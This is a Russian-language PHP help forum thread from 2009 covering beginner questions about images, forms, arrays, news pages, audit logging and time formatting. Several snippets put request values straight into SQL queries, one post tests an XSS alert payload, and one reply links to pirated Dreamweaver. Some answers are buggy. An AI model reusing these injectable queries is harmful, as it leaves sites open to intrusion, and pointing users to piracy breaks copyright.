$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//óçíàåì ðåàëüíûé ðàçìåð êàðòèíîê
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//ñîçäàåì ïåðåìåíûå ñ ðàçìåðàìè
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//ñîçäàåì ïóñòóþ êàðòèíêó ñ ðàçìåðàìè êîòîðûå âûøå
$im = imagecreatetruecolor($width, $heigth);
//ñîçäàåì â ïàìÿòè âñå êàðòèíêè
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//êîïèðóåì âñå íà ïîëîòíî
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
// çàêðóãë¸íûå êðàÿ
if ($zak == 1) {
ugolki ($im);
}
// ñîõðàíåíèå àâàòàðà
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
printf("<img src='avatar/$name' alt=''/><br><a href='get.php?file=avatar/$name'>ñîõðàíèòü</a>");
?>
Пишет:
Fatal error: Call to undefined function wb() in G:\home\img.ru\www\end.php on line 23
Pashkela
26.01.2009, 19:01
Функцию вынеси из if и просто пропиши где-нибудь с самого начала сверху. В таком коде, чтобы не путаться, лучше отделить от всех условий, а еще лучше вообще в отдельный файл
AkyHa_MaTaTa
26.01.2009, 19:04
ну краса, сначало используешь функцию,а потом обьявляешь
wb($s_file,$r_file); //Запускаем функцию преобразования картинки
/* Функция для преобразования цветной картинки в черно-белую */
function wb($file1,$file2) {
По идее функцию нужно вызывать после её создания,а не до...
Pashkela
26.01.2009, 19:07
2 AkyHa_MaTaTa & rudvil:
https://forum.antichat.ru/showpost.php?p=1080722&postcount=8191
AkyHa_MaTaTa
26.01.2009, 19:25
2Pashkela я о том что читабельность кода просто краса, а по поводу
В PHP 3 функции должны были быть определены прежде, чем они будут использованы. Начиная с PHP 4 такого ограничения нет, исключая тот случай, когда функции определяются условно.
,я сталкивался с такой фигней в одном плагине к wp, и читать 400 строчек такого кода просто биг гемор(а там инклюд с фунукциями был в самом низу).
здравствуйте,пытаюсь перевести в hex
вот скрипт,но делаю что-то не так,подскажите,буду благодарен
<?php
if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
exit();
}
else
echo ($_POST['a']<10) ? "0x".$_POST['a'] : "0x".chr($_POST['a']-10+65);
?>
prescott
26.01.2009, 23:11
<?php
if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
exit();
}
else
echo bin2hex($_POST['a'])
?>
Pashkela
AkyHa_MaTaTa
Спасибо!!!
Проблема заключалась в последвательности функций в коде! Скоро выложу демо версию своего скрипта зацените! ;) ;) ;)
Приветствую :)
Все еще работают с функциями и переводами
вот код
<?php
if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
}
else
{
$htmlentities=htmlentities($_POST['a']);
echo $htmlentities;
}
?>
Но у меня он выводит символ,хотя должен выводить представление
:) Что не так делаю?
m0nsieur
27.01.2009, 16:25
Да все верно, только ты не забывай, что браузер обратно конвертирует в символ твое представление, а если увидеть результат хочешь, попробуй запиши его в БД или в файл.
Приветствую :)
Все еще работают с функциями и переводами
вот код
<?php
if(!isset($_POST['submit']))
{
echo <<<HERE
<form method="post">
<input name="a" type="text"><br>
<input name="submit" type="submit">
</form>
HERE;
}
else
{
$htmlentities=htmlentities($_POST['a']);
echo $htmlentities;
}
?>
Но у меня он выводит символ,хотя должен выводить представление
:) Что не так делаю?
А причем здесь "submit"? он никогда не будет иссет это ведь кнопка,проверяй на иссет $_POST['a']
А не подскажите как написать скрипт который допустим будет запускатся раз в 4 дня и чистить таблицу MySQL от записей которые старее 3дней (в таблице есть поле date)
И ещё вопрос есть массив $a=array(1,2,3,0,0);
Как можно очистить его от нулей?
А причем здесь "submit"? он никогда не будет иссет это ведь кнопка,проверяй на иссет $_POST['a']
данеужели?
чтото мне так не кажется :D
данеужели?
чтото мне так не кажется :D
+1, если у сабмита будет value и name , то value передасца
m0nsieur,спасибо)проверил по другому
Создал 2файла
один с htmlentities,другой без, ввел <script>alert(/aaa/)</script>Проверка
Первый вывел : Проверка
Второй Проверка да еще +выполнился скрипт)
rudvil,Я проверяю нажата ли кнопка!!!
+1, если у сабмита будет value и name , то value передасца
Да,тут все просто))если она есть)то не выдается форма,если нет,то выдается форма,это обычная перменная!
m0nsieur
27.01.2009, 17:11
А не подскажите как написать скрипт который допустим будет запускатся раз в 4 дня и чистить таблицу MySQL от записей которые старее 3дней (в таблице есть поле date)
И ещё вопрос есть массив $a=array(1,2,3,0,0);
Как можно очистить его от нулей?
1. Повесь скрипт на cron который будет вызываться каждые 4 дня.
2. Попробуй так.
$a=array(1,2,3,0,0);
$b = array();
$i=0;
foreach ($a as $value) {
if($value != 0) {
$b[$i] = $value;
$i++;
}
}
print_r($b);
2. Попробуй так.
$a=array(1,2,3,0,0);
$b = array();
$i=0;
foreach ($a as $value) {
if($value != 0) {
$b[$i] = $value;
$i++;
}
}
print_r($b);
Неее, пробовать не надо)
Правильно так:
<?php
$a = array(1, 2, 3, 0, 0);
foreach($a as $key => $value)
if($value == 0)
unset($a[$key]);
var_dump($a);
?>
groundhog
27.01.2009, 17:22
Зачем выдумывать велосипед, когда за вас уже всё выдумали:
function non_zero($var) {
return ($var != 0);
}
$array = array(1, 2, 3, 0, 0);
print_r(array_filter($array, "non_zero"));
данеужели?
чтото мне так не кажется :D
Ой точно, вот намутил... извиняюсь. =[
ANTIJABBER
27.01.2009, 20:25
Ребята, как сделать рандомное 16 символьное выражение? из букв и цифр?
function genPass($len, $mix = '')
{
$alpha = 'qwertyuiopasdfghjklzxcvbnm1234567890'; #алфавит
$result = ''; #результат
$alpha .= $mix; #добавляем доп. символы
for($i = 0, $alphlen = strlen($alpha); $i < $len; $i++) #добавляем в цикле случайные символы
$result .= $alpha{mt_rand(0, $alphlen - 1)}; #случайное число из алфавита
return $result; #возвращаем результат
}
echo genPass(16);
prescott
27.01.2009, 20:41
Ребята, как сделать рандомное 16 символьное выражение? из букв и цифр?
function random_word($count) {
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0');
$word = "";
for($i = 0; $i < $number; $i++)
{
$index = rand(0, count($arr) - 1);
$word .= $arr[$index];
}
return $word;
}
echo random_word(16);
Не самое красивое решение, зато простое и интуитивно понятное, щас дам еще второй вариант.
UPD: опоздал, но сейчас все равно напишу второй вариант, самому пригодится.
<?php
function random_word($count) {
$word="";
for ($i=0; $i<$count; $i++) {
do {
$rand=mt_rand(0,66)+65;
if ($rand>122) $rand=$rand-74;
} while ($rand>90 && $rand<97);
$word.=chr($rand);
}
return $word;
}
echo random_word(100);
?>
В процессе написания понял, что этот вариант будет сложнее, но тоже рабочий =)
-m0rgan-
27.01.2009, 23:07
Ре адепты!
Помогите плиз с пхп кодом!
Кароче цель такова:
На главную страницу сайта выводятся "краткие новости"
Мне нужно, чтобы при нажатие на ссылку "подробнее" выводилась полная новость, ну думаю вы поняли о чем я...
И так, мои дейстия:
делаю ссылку в цикле главной страници:
<?
include"config.php";
{
$query = "SELECT * FROM news order by id desc LIMIT 0,100000"; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table style="border: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td align="center" background="images/button.jpg" height="22">
<table style="border-bottom: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="100%" align="left"><CENTER><b>'.$row['name'].'</b></CENTER></b></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;"><noindex><center><tr>
<td colspan="2" style="padding: 4px;">
'.$row['text'].'
<div align="right">
<div> </div>
<div> </div>
Автор:
<b>bug1z</b> |
<a href="news.php?id='.$row['id'].'"><b>подробнее</b></a>
</div></td></center></td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;">
<div align="right">
</div></td>
</tr>
</tbody></table>
<div> </div>';
endwhile;
}
?>
затем создаю файл news.php с циклом следуйщего содержания:
<?
include"config.php";
$id=$GET['id']; {
if($id)
echo $news;
$query = "SELECT * FROM news where id=".$id; $result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
print'<table style="border: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td align="center" background="images/button.jpg" height="22">
<table style="border-bottom: 1px solid #ffffff; padding: 0px;" width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody><tr>
<td width="100%" align="left"><CENTER><b>'.$row['name'].'</b></CENTER></b></td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;"><noindex><center><tr>
<td colspan="2" style="padding: 4px;">
'.$row['text2'].'
<div align="right">
<div> </div>
<div> </div>
Автор:
<b>bug1z</b> |
</div></td></center></td>
</tr>
<tr>
<td colspan="2" style="padding: 4px;">
<div align="right">
</div></td>
</tr>
</tbody></table>
<div> </div>';
endwhile;
}
?>
В итоге не выводится ни новость, ни таблица :(
В чем проблема?
Зарание спасибо!
Ошибка в том что $_GET["id"] а не $GET["id"]
Red_Red1
28.01.2009, 00:05
2 -m0rgan-
Первый код полностью рабочий! Если нет смотри подключение к базе.
Он не может ничего не выводить, что то должен либо верно, либо ошибку, так вот вопрос КАКУЮ ошибку у тебя выводит?
Второй код ошибка ммм... скорее оЧеПятка :) вот тут
$id=$GET['id'];
нужно
$id=$_GET['id'];
Потом не совсем ясно зачем у тебя СРАЗУ за этой строкой открыта скобка {
Если по логике она должна быть после
if ($id) {
Ну и последнее, я конечно не знаю что у тебя в config.php
но откуда у тебе берется значение переменной
$news в строке echo $news;
если не откуда то выдаст ошибку
Notice: Undefined variable: news in ...
На будущее при компилировании выводи все промежуточные данные.Сразу будешь видеть где ошибка
-m0rgan-
28.01.2009, 00:17
Не помогло=(
Первый код пашет, все там гуд :)
А вот во втором ошибку ни какую не выводит,там, вапше ничего не выводит, ни новости, ни таблички, в которой должна выводтися овость, такое впечетление, что цыкл вапще не обрабатуется :(
Конфиг:
<?
$link = mysql_connect(localhost, bug1z, test) or die('Не возможно соединиться с базой ('.mysql_error().')');
mysql_select_db(arthacking) or die('Нельзя выбрать базу ('.mysql_error().')');
?>
Выводи значения $id и строку для скул запроса и убедись что нет ошибок.
Pashkela
28.01.2009, 00:32
include"config.php";
{
include"config.php";
$id=$GET['id']; {
endwhile;
}
Это чо за скобочки фигурные??? К чему они относятся?
http://ru.php.net/while
+
в начало каждого кода вставь:
@ini_set("display_errors","1");
Есть у кого примерчик кода добовления текста к кортинке??
http://il2.php.net/ImageTTFText
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
в Peremenue.php код:
<?php
b = 2;
c = 4;
?>
В первом случае код будет исполняться? то есть сложиться без проблем и выведется?
мм.. да.
только вот в начале переменных, надо ставить рубль - $
159932 а да точно :D забыл
и еще где можно достать открытый пхп чекер PR? чек PR желательно токо одного сайта
ikolla$$
28.01.2009, 17:49
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
оО
а что такое: a,b
-m0rgan-
28.01.2009, 17:59
Ну а эт кагбе сума б и ц ;-)
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
оО
а что такое: a,b
o_O и это работает?
Всем привет,появилась необходимость сделать небольшой аудит бд.
т.е. на каждое изменение делать наобх записи в таблице аудита.
тригерры не катят т.к. в одном триггере нельзя выполнить неск дейтвий(н-р 2..-10 инсертов) да и таблицы такие разные что под каждую надо писать свой триггер:
формат ввода данных в аудит такой
INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='название табицы',`column`='колонка которая изменилась',`pk`='примари кей табл',`oldvalue`='',`newvalue`=$_POST[user_id]"
приведу конкретный пример(запрос в бд)
"INSERT INTO holidays (id,user_id,date_start,date_finish,type_id,audit_i d)
VALUES('','$_POST[user_id]','$_POST[date_start]',
'$_POST[date_finish]','$_POST[holidays_type]',
'$_SESSION[user_id]')";
отправка в аудит:
$audit="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='user_id',`pk`='id',`o ldvalue`='',
`newvalue`=$_POST[user_id]";
$audit2="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='С',`pk`='id',`oldval ue`='',
`newvalue`='$_POST[date_start]'";
$audit3="INSERT INTO audit set `date`=now(),`time`=now(),`user_id`='$_SESSION[user_id]',
`table`='holidays',`column`='По',`pk`='id',`oldv alue`='',
`newvalue`='$_POST[date_finish]'"
........
Дак вот думаю реально ли написать функцию которой на вход мы будем подавать сам запрос в таблицу а она уже (через регулярки или еще как) будет инсертить в аудит и выдирать поля,значения и действия...И САМОЕ ГЛАВНОЕ чтоб это было практически универсально для каждой таблицы...у кого какие домыслы,поделитесь!?
<?php
include ("Peremenue.php");
a = b+c;
echo a;
?>
С какого это времени у нас переменные без знака "$" объявляются?!
Ru}{eeZ читай начало страницы
svesve, а почему-бы не записывать сами запросы в файл?
svesve, а почему-бы не записывать сами запросы в файл?
а смысл? всеравно надо выводить как-то весь аудит на просмотр,а с файлами замучаешься...да и опять же для каждой таблицы надо конкретно свое,а тут нужна универсальность )
Парни, очень нужен Dreamweaver CS3!
Но его оч трудно найти в нете, мне друг дал сыль я качнул а он гад хз почему не пошел((((
Мб кто даст еще сылку на хороший Dreamweaver CS3?!
//или кто-нить скинет мне корневую папку DW?
//блин помогите, уже 2 неделю мучаюсь((((
ЗЫ: Другие проги не предлогать!
//стоит ХР SP3
AkyHa_MaTaTa
28.01.2009, 20:44
2 svesve напиши класс для работы с Бд и выполняй все гвери через него, уже в самом классе можешь создать метод который будет производить все действи с аудитом при гверях.
Парни, очень нужен Dreamweaver CS3!
Но его оч трудно найти в нете, мне друг дал сыль я качнул а он гад хз почему не пошел((((
Мб кто даст еще сылку на хороший Dreamweaver CS3?!
//или кто-нить скинет мне корневую папку DW?
//блин помогите, уже 2 неделю мучаюсь((((
ЗЫ: Другие проги не предлогать!
//стоит ХР SP3
Че хоть искать его он на каждом шагу валяется
http://thepiratebay.org/torrent/4668187/Adobe_Dreamweaver_CS4_Multilanguage
http://thepiratebay.org/torrent/4574771/Dreamweaver_CS3_(without_Keygen)
Не советую его юзать :)
Качай PHP Designer самый оптимальный вариант для тебя
MaTpOc, не гони, ищи Adobe ® Creative Suite 3 Web Premium Rus
http://www.google.com/search?ie=UTF-8&hl=ru&q=Adobe%20%C2%AE%20Creative%20Suite%203%20Web%20Pr emium%20Rus%20%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82 %D1%8C
а смысл? всеравно надо выводить как-то весь аудит на просмотр,а с файлами замучаешься...да и опять же для каждой таблицы надо конкретно свое,а тут нужна универсальность )
почему? просто записывай все запросы к бд в файл. а если нужны только изменения, то только insert, update и тп.
и будет у тебя файл с контентом
12.01.09 21:00 INSERT INTO `TABLE1` VALUES(1, 2, 3)
12.01.09 21:00 UPDATE `TABLE2` SET `COUNT`=`COUNT`+1
Тебе надо всего лишь задать свою mysql_query (назовём её m_query), которая будет делть запрос, а потом записывать его в файл.
Можешь дописать, чтобы после каждого запроса вызывался SELECT, чтобы прочитать получившиеся значения, если нужно.
<?
include("../configs/db_connect_x.php");
if (ereg("[<>\\/-]",$act)) {print "?!"; exit();
}
$act=htmlspecialchars($act);
$sql = "SELECT * FROM userx WHERE login='$user'";
$result = mysql_query($sql);
$db = mysql_fetch_array($result);
$room=$db["room"];
if($room == "Западный Лес")
{
$fexp=$db['forest_exp'];
if($db['forest_exp']>1000)
{
$plus=1;
}
else{$plus=0;
}
if (ereg("[<>\\/-]",$level)) {print "?!"; exit();
}
$level=htmlspecialchars($level);
if($db["loc_work"] == '0')
{
if(empty($act))
{
$act = "show";
}
if($act == "none")
{
$act = "show";
}
}
else{if(empty($act))
{
$act = "work";
}
if($act == "none")
{
$act = "work";
}
}
if($act=="show")
{
?>
<div align=right><a href=forest.php?act=loc>Локация</a></div>
<table border=0 cellpadding=0 width=40% align=center>
<TR>
<td width=22></td>
<TD>
<table cellpadding=0 cellspacing=0 border=1 width=100% bordercolor=black>
<tr><td width=24> </td>
<td><b>Порода</b></td>
<td><b>Кол-во</b></td>
<td><b>Шанс</b></td>
<td><b>Срублено</b></td></tr>
<?
$fores = mysql_query("SELECT * FROM forest");
while($F = mysql_fetch_array($fores))
{
$fid=$F['id'];
$fname=$F['name'];
$fkolvo=$F['kolvo'];
$fimg=$F['img'];
$fpercent=$F['percent']+$plus;
$fores2 = mysql_query("SELECT fokolvo FROM inventary WHERE owner='$user' and object_type='forest' and object_id='$fid'");
$W2 = mysql_fetch_array($fores2);
if(!$W2){$h_kol=0;
}
else
{
$h_kol=$W2['fokolvo'];
}
echo "<tr><td width=24><img src=$fimg border=1></td>
<td>$fname</td>
<td>$fkolvo</td>
<td>$fpercent%</td>
<td>$h_kol</td></tr>";
}
?>
</table>
</td>
<td width=22></td>
</tr></table><center><br><b>Опыт Лесоруба:<? echo"$fexp"; ?></b><br><form name=work action='forest.php?act=work' method='POST'><img src=check.php><br><input type="text" name="check" class="field" size="10" maxlength="3" style="filter:alpha(Opacity=80);"><br><input type=button value='Рубить' class=ad onClick='this.disabled = true;forest()'></form>
<?
}
if($act=="work")
{
if($db["loc_work"] == '0')
{
if(isset($_POST['check']) && (isset($_SESSION['check']) || isset($_SESSION['check'])))
{
if(strtolower($_POST['check'])==$_SESSION['check'])
{
$work_time=5*60+time();
$res=mysql_query("UPDATE userx SET loc_work='$work_time', loc_work_pg='forest' WHERE login='$user'");
echo "<script>location.href=\"forest.php?act=work\";</script>";
die();
}
else{
echo "<center><font color=red><b>Неверный защитный код!</b></font><br><input type=button value='Вернуться' class=ad onClick='location.href=\"forest.php\"'></center>";
die();
}
}else{
print"fig";
}
}
else {
$wait_sec_w=$db["loc_work"];
$now_w=time();
$left_time_w=$wait_sec_w-$now_w;
$left_min_w=floor($left_time_w/60);
$left_sec_w=$left_time_w-$left_min_w*60;
if($db["loc_work"]>$now_w)
{
echo "<br><center>Вы ещё в процессе работы. <br>Осталось $left_min_w мин. $left_sec_w сек.<br><input type=button value='Обновить' class=ad onClick='location.href=\"forest.php\"'></center>";
}
else {
$res_n = rand(1,6);
$fores3 = mysql_query("SELECT percent,name,kolvo,umenie FROM forest WHERE id='$res_n'");
$F2 = mysql_fetch_array($fores3);
}
if($shans<$F2['percent'])
{
$tree=$F2['name'];
$for_exp=$db['forest_exp']+$F2['umenie'];
if($F2['kolvo']>=1)
{
$new_kolvo=$F2['kolvo']-1;
echo "<br><center>Вы срубили \"$tree\".<br>";
$upd=mysql_query("UPDATE forest SET kolvo='$new_kolvo' WHERE id='$res_n'");
$upd2=mysql_query("UPDATE userx SET forest_exp='$for_exp' WHERE login='$user'");
$fores4 = mysql_query("SELECT fokolvo FROM inventary WHERE owner='$user' and object_type='forest' and object_id='$res_n'");
$W = mysql_fetch_array($fores4);
if(!$W)
{
$upd=mysql_query("INSERT INTO inventary(owner,object_id,object_type,object_razde l,fokolvo) VALUES('$user','$res_n','forest','resourses','1')");}
else {
$newkol=$W['kollvo']+1;
$upd=mysql_query("UPDATE inventary SET fokolvo='$newkol' WHERE owner='$user' and object_type='forest' and object_id='$res_n'");}
$res=mysql_query("UPDATE userx SET loc_work='0', loc_work_pg='' WHERE login='$user'");
die();
}
else {
echo "<br><center>Дерево оказалось трухлявым...<br><input type=button value='Обновить' class=ad onClick='location.href=\"forest.php?act=show\"'></center>";
$res=mysql_query("UPDATE userx SET loc_work='0', loc_work_pg='' WHERE login='$user'");
die();
}
}
}
?>
1 в чём ошибка? не работает вообще (
2. правильные ли запросы к бд
3. скрипт должен выводить кнопку с капчей и названием рубить и идёт отсчёт времени после которого выводится срубленное дерево.
Nightmarе
29.01.2009, 06:23
Помогите реализовать простенькую задачку.
Значит есть скрипт: lol.php к которому постоянно обращяются скажем так 16 Ip адресов с промежутком 7 секунд.
Этот скрипт должен записать рядом в файл ip.txt все Ip адреса, но на экран он должен вывести Ip адреса, которые обращялись к скрипту за последние 5 минут, причём повторяющихся IP быть не должно.
Собственно как это сделать не используя баз данных? Всё сделать в одном файле ip.txt, думаю удобнее будет к Ip адресу дописывать дату коннекта и отфильтровывать при выводе на экран.
Но вот как реализовать... хз.
Кому не сложно помогите.
Mirella, а файл что в начале подключаеться есть? с БД все в порядке? она заполнена нужными данными? Запросы вроде правильные.
Nightmarе, в скрипте пишешь в самом начале сохранение в файл переменную окружения REMOTE_ADDR и дату со временем.
После просто при существований переменной look например выводить последние ип, правда что то в голову не лезет как сделать отбор лишних айпишников, но это решаемо. Для начала сделай что бы он тебе хоть в файл писал.
Ну а с БД было бы на порядок удобнее и легче. Выводить проще.
правда что то в голову не лезет как сделать отбор лишних айпишников
array_unique например.
Nightmarе
29.01.2009, 07:23
спс, желательно пример с реализацией...
ip.php
<?php
header('Content-type: text/plain;charset=UTF-8');
$log = 'log.dat';
$time = time();
$fp = fopen($log, 'a');
fputs($fp, "{$_SERVER['REMOTE_ADDR']}:{$time}\n");
fclose($fp);
$ips = file($log);
$print = $time = array();
foreach($ips as $ip)
{
list($_ip, $_time) = explode(':', trim($ip));
$print[$_ip] = $_ip;
$time[$_ip] = $_time;
}
$max_time = time() - 300;
$print = array_reverse($print);
foreach($print as $ip)
{
if($time[$ip] > $max_time) echo $ip, ' посетил страницу в ', date('h:i:s', $time[$ip]), "\n";
}
?>
Посмотри тут http://stas.me/ip.php
log.dat
127.0.0.1:1234567890
127.0.0.2:1234567890
127.0.0.3:1234567890
127.0.0.4:1234567890
127.0.0.1:1234567890
127.0.0.2:1234567890
127.0.0.4:1234567890
127.0.0.5:1234567890
127.0.0.1:1234567890
127.0.0.5:1234567890
127.0.0.5:1234567890
127.0.0.6:1234567890
127.0.0.8:1234567890
127.0.0.5:1234567890
127.0.0.3:1234567890
127.0.0.2:1234567890
Nightmarе
29.01.2009, 07:47
Огромное спасибо!!!!!!!!!!!!!!!
$max_time = time() - 300;
я не знаю что это, но догадываюсь что фильтрация кто был 5 минут назад не более, верно?
почему? просто записывай все запросы к бд в файл. а если нужны только изменения, то только insert, update и тп.
и будет у тебя файл с контентом
12.01.09 21:00 INSERT INTO `TABLE1` VALUES(1, 2, 3)
12.01.09 21:00 UPDATE `TABLE2` SET `COUNT`=`COUNT`+1
Тебе надо всего лишь задать свою mysql_query (назовём её m_query), которая будет делть запрос, а потом записывать его в файл.
Можешь дописать, чтобы после каждого запроса вызывался SELECT, чтобы прочитать получившиеся значения, если нужно.
не не не понимаешь все изменения надо смотреть в вэб интерфейсе....будет таблица вида(время,дата,кто,какую таблицу,какой столбец,что изменилось) +)
svesve Вам уже предлагали сделать функцию обертку для стандартного mysql_query
function mysql_logquery($query,$link=null)
{
if (!is_null($link) && is_resource($link)) {$tmp=mysql_query($query,$link);}
else {$tmp=mysql_query($query);}
// тут дополнительные запросы для внесения в таблицу лога, например
$tolog="insert into log (`queries`) values '".mysql_real_escape_string($query)."'";
if (!is_null($link) && is_resource($link)) {@mysql_query($tolog,$link);}
else {@mysql_query($tolog);}
return $tmp; //возвращаем результат оригинального запроса
}
Вопшем проблема с росчётом времени от старта скрипта и до конца,вопшем нужно сделать чтобы отсчитывалось от начала роботы скрипта и до конца с часами,минутами и секундами,вот уже битый час с знакомым сидим,и никак не допрем...как ето сделать?
Просьба тем кто помогеть собрался учесть,что есле брать значение секунд,минут и часов роздельно (каждая в совей переменной) то неполучается изза того что после того как прошла одна минута,то значение секунд станет нолевым,и тогда будет отниматся значение времени того что в начале скрипта было от 0 уже....И есчё,есле брать в одной переменной ЧасМинСек и в конце так же,и отнимать,то тоже не получится потому что секунд и минут максимум 60 же,а не 100... тогда лишних 40 сек получается есле значение больше минуты,плиз,помогите....
vikseriq
29.01.2009, 22:28
Да придет time() и date() вам в помощь! Пошерудите поиск по мануалам. Так как год нам наф не нужен, лишних проблем не будет.
___
OFFTP:
Педставляю, как вы там уже час думаете - вся комнатушка в дыму, на столе гора окурков, а на монике - только <? ?> =)
Pashkela
29.01.2009, 22:51
2 Mixon:
<?
$start = microtime(true);
While($a<100000000){
$a++;
}
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".$b. " seconds";
?>
ikolla$$
29.01.2009, 22:53
Да придет time() и date() вам в помощь! Пошерудите поиск по мануалам. Так как год нам наф не нужен, лишних проблем не будет.
___
OFFTP:
Педставляю, как вы там уже час думаете - вся комнатушка в дыму, на столе гора окурков, а на монике - только <? ?> =)
Тыбы билять заткнул вонялку то,а.
ТЫ головой подумай,что тиме,что дате,ничего не помогает.Как ебе объяснить то...я сам очень долго догонял объяснения автора....в асику.
2 Mixon:
<?
$start = microtime(true);
While($a<100000000){
$a++;
}
$end = microtime(true);
echo "Time start:" . date('H:i:s',$start)."\n";
echo "Time end:". date('H:i:s',$end)."\n";
$b = round(($end - $start),0);
echo "Execute time: ".$b. " seconds";
?>
Оно то похоже,ну для кого я спецыально подчеркнул что мне нужны не только сикунды загрузки страницы,но и минуты и даже часы! например чтобы было в ответе "Прошел 1 час 15 минут и 30 секунд" ну как вы там не внимательно читаете??? ну как??? ппц,етого я понять никак не могу,ну подчеркнул же,а все по вытаскуют чтото похожее с мануалов,и даже не задумуются что пихаюит а что нужно....
Mixon, ты полегче на поворотах, тебе вообще то люди помочь пытаються. Он на тебя свое время потратил а ты ругаешься. Нехорошо.
Mixon, ты полегче на поворотах, тебе вообще то люди помочь пытаються. Он на тебя свое время потратил а ты ругаешься. Нехорошо.
Я не ругаюсь,да и к тому же ето он 99% выташил из мануала просто...он даже непонял то что мне нужо и в чем проблема...из мануала любой может скопировать...
Mixon function getDuration($s, $l=0){
if($s>86400){ // Day
$tot = $s / 86400;
$r = $s % 86400;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Day'.$p;
}else if($s>3600){ // Hour
$tot = $s / 3600;
$r = $s % 3600;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Hour'.$p;
}else if($s>60){ // Minute
$tot = $s / 60;
$r = $s % 60;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Minute'.$p;
}else{ // Second
if($s>1){$p='s';}else{$p='';}
$t = $s.' Second'.$p;
}
if($r > 0){$t .= getDuration($r,$l+1);}
if($l>0){
return ', '.$t;
}
return $t;
}
Mixon function getDuration($s, $l=0){
if($s>86400){ // Day
$tot = $s / 86400;
$r = $s % 86400;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Day'.$p;
}else if($s>3600){ // Hour
$tot = $s / 3600;
$r = $s % 3600;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Hour'.$p;
}else if($s>60){ // Minute
$tot = $s / 60;
$r = $s % 60;
if(floor($tot)>1){$p='s';}else{$p='';}
$t = floor($tot).' Minute'.$p;
}else{ // Second
if($s>1){$p='s';}else{$p='';}
$t = $s.' Second'.$p;
}
if($r > 0){$t .= getDuration($r,$l+1);}
if($l>0){
return ', '.$t;
}
return $t;
}
Ппц,чтот я начинаю тупеть,уже мин 5 сижу палю в монитор,непойму как ето юзать,ноч уже,мозг off,мож кто подскажет?((
народ нужна помощь. хочу сделать вот что : чтоб при заходе на сайт каждый раз было в отчётах следующее (ник)(айпи)(время входа)
<?php $sql="update userx where user_id='$userid'";
mysql_query($sql);
if($result){
print "Вход в игру : $user с айпи $ip ";
if(empty($ip)){
if (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR');
}
else
{
$ip=getenv('REMOTE_ADDR');
}
}
history($user,$ip,$time);?>
помогите если не трудно (
заранее спасибо
народ нужна помощь. хочу сделать вот что : чтоб при заходе на сайт каждый раз было в отчётах следующее (ник)(айпи)(время входа)
<?php $sql="update userx where user_id='$userid'";
mysql_query($sql);
if($result){
print "Вход в игру : $user с айпи $ip ";
if(empty($ip)){
if (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR');
}
else
{
$ip=getenv('REMOTE_ADDR');
}
}
history($user,$ip,$time);?>
помогите если не трудно (
заранее спасибо
Куда лог писаться должен ?
Pashkela
30.01.2009, 00:46
2 Mixon
Тест (могут быть некоторые неточности с округлениями и если время больше суток - не стал заморачиваться, сам поймешь, что делать):
<?php
$c=18224; // Введите кол-во секунд
echo "$c\n";
if ($c<60) echo "0 hours 0 minutes " .round($c,0) . " seconds\n";
if ($c>=3600){
$c = $c/3600;
$h = explode('.',$c);
$minutes1 = substr($h[1],0,2);
$sec1 = substr($h[1],2,2);
if (substr($minutes1,0,1)>5) {$minutes=substr($minutes1,0,2)*6;$minutes = round($minutes,0);}
else {$minutes=substr($minutes1,0,2)*0.6;$minutes = round($minutes,0);}
if (substr($sec1,0,1)/10>5) {$sec=substr($sec1,0,2)*6;$sec = round($sec,0);}
